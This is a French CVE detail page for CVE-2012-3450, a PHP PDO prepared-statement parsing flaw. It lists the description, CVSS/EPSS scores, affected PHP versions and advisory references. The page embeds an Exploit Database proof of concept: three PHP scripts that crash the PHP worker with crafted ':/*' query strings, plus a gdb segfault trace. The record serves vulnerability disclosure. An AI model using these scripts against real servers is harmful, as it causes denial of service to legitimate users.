CVE-2012-3450 : Détail

CVE-2012-3450

6.21%V3
Network
2012-08-06
14h00 +00:00
2012-09-07
07h00 +00:00
CVE.org
NVD
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Descriptions du CVE

pdo_sql_parser.re in the PDO extension in PHP before 5.3.14 and 5.4.x before 5.4.4 does not properly determine the end of the query string during parsing of prepared statements, which allows remote attackers to cause a denial of service (out-of-bounds read and application crash) via a crafted parameter value.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 2.6 AV:N/AC:H/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 37566

Date de publication : 2012-08-01 22h00 +00:00
Auteur : 0x721427D8
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/54777/info PHP is prone to a remote denial-of-service vulnerability. An attacker can exploit this issue to cause the web server to crash, denying service to legitimate users. PHP 5.4.3 is vulnerable; other versions may also be affected. <?php try { $db = new PDO('mysql:host=localhost;dbname=aws', "root", ""); //tokens: // SELECT;*;from;'user';/* //$sql = "SELECT * from 'user'/*"; $stmt = $db->prepare("SELECT * from 'user'".mysql_real_escape_string($_GET['query'])); $stmt->execute(); //crash $stmt->bindColumn(2, $type, PDO::PARAM_STR, 256); $stmt->fetch(PDO::FETCH_BOUND); print_r( $type); } catch (Exception $e) { echo "Failed: " . $e->getMessage(); } ?> ----- <?php try { $db = new PDO('mysql:host=localhost;dbname=aws', "root", ""); //tokens: // SELECT;*;from;'user';/* $sql = ":/*"; $stmt = $db->prepare($sql); $stmt->execute(); // crashes php worker in pdo_parse_params() $stmt->bindColumn(2, $type, PDO::PARAM_STR, 256); $stmt->fetch(PDO::FETCH_BOUND); print_r( $type); } catch (Exception $e) { echo "Failed: " . $e->getMessage(); } ?> --- <pre> <?php echo "hmm beginning\n"; try { $db = new PDO('mysql:host=localhost;dbname=aws', "root", ""); echo "lets get it on\n"; //tokens: // SELECT;*;from;'user';/* $sql = "SELECT * from user :/**"; echo $sql; $stmt = $db->prepare($sql); echo "prepared :)\n"; print_r($stmt); $stmt->execute(); // crashes php worker in pdo_parse_params() print_r($stmt); echo "executed :(\n"; $stmt->bindColumn(2, $type, PDO::PARAM_STR, 256); $stmt->fetch(PDO::FETCH_BOUND); echo "--data-\n"; print_r( $type); echo "--data--\n"; } catch (Exception $e) { echo "EXCEPTION"; echo "Failed: " . $e->getMessage(); } echo "hmmm end\n"; ?> </pre> Actual result: -------------- root@bt:/opt/lampp# gdb ./bin/php (gdb) run poc_pdo_linux_short_1.php Starting program: /opt/lampp/bin/php /opt/lampp/poc_pdo_linux_short_1.php [Thread debugging using libthread_db enabled] Program received signal SIGSEGV, Segmentation fault. 0x08228a81 in ?? () (gdb) bt #0 0x08228a81 in ?? () #1 0x082280eb in pdo_parse_params () #2 0x08223891 in ?? () #3 0x084b2aad in ?? () #4 0x084b1f87 in execute () #5 0x08490ed2 in zend_execute_scripts () #6 0x0843f13c in php_execute_script () #7 0x08506b46 in main ()

Products Mentioned

Configuraton 0

Php>>Php >> Version To (including) 5.3.13

Php>>Php >> Version 5.3.0

Php>>Php >> Version 5.3.1

Php>>Php >> Version 5.3.2

Php>>Php >> Version 5.3.3

Php>>Php >> Version 5.3.4

Php>>Php >> Version 5.3.5

Php>>Php >> Version 5.3.6

Php>>Php >> Version 5.3.7

Php>>Php >> Version 5.3.8

Php>>Php >> Version 5.3.9

Php>>Php >> Version 5.3.10

Php>>Php >> Version 5.3.11

Php>>Php >> Version 5.3.12

Php>>Php >> Version 5.4.0

Php>>Php >> Version 5.4.1

Php>>Php >> Version 5.4.2

Php>>Php >> Version 5.4.3

Références

http://www.openwall.com/lists/oss-security/2012/08/02/7
Tags : mailing-list, x_refsource_MLIST
http://www.debian.org/security/2012/dsa-2527
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.php.net/ChangeLog-5.php
Tags : x_refsource_CONFIRM
http://www.openwall.com/lists/oss-security/2012/08/02/3
Tags : mailing-list, x_refsource_MLIST
https://bugs.php.net/bug.php?id=61755
Tags : x_refsource_CONFIRM
http://seclists.org/bugtraq/2012/Jun/60
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.mandriva.com/security/advisories?name=MDVSA-2012:108
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.ubuntu.com/usn/USN-1569-1
Tags : vendor-advisory, x_refsource_UBUNTU